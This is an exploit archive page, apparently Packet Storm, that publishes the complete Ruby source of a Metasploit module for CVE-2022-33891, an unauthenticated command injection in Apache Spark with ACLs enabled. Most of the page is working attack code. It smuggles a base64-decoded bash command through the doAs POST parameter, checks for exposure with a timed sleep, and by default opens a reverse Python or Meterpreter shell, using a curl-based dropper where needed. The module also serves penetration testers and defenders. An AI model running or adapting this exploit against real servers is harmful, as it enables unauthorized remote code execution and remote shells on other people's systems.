exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Spark Unauthenticated Command Injection

Apache Spark Unauthenticated Command Injection
Posted Sep 8, 2022
Authored by Kostya Kortchinsky, h00die-gr3y | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability in Apache Spark. Successful exploitation results in remote code execution under the context of the Spark application user. The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command. It is triggered by a non-default setting called spark.acls.enable. This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack. Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.

tags | exploit, remote, code execution
systems | linux
advisories | CVE-2022-33891
SHA-256 | 2872827635148239363023f1f407242ab1de4a64b6832222c392d7a683334b7b

Apache Spark Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Spark Unauthenticated Command Injection RCE',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Apache Spark.
Successful exploitation results in remote code execution under the context of the Spark application user.

The command injection occurs because Spark checks the group membership of the user passed
in the ?doAs parameter by using a raw Linux command.

It is triggered by a non-default setting called spark.acls.enable.
This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.

Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module
],
'References' => [
['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure
['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis
['CVE', '2022-33891']
],
'DefaultOptions' => {
'SSL' => false,
'WfsDelay' => 5
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :in_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'CmdStagerFlavor' => ['printf', 'curl'],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-07-18',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end

def execute_command(cmd, _opts = {})
b64 = Rex::Text.encode_base64(cmd)
post_data = "doAs=\`echo #{b64} | base64 -d | bash\`"

return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/'),
'data' => post_data
})
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
elog("A communication error occurred: #{e.message}", error: e)
end

def check
print_status("Checking if #{peer} can be exploited!")

res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")

return CheckCode::Unknown('Did not receive a response from target.') unless res

if res.code != 403
return CheckCode::Safe('Target did not respond with a 403 response.')
end

sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")

res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

print_status("Elapsed time: #{elapsed_time} seconds.")

unless res && elapsed_time >= sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
print_status('Exploiting...')
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close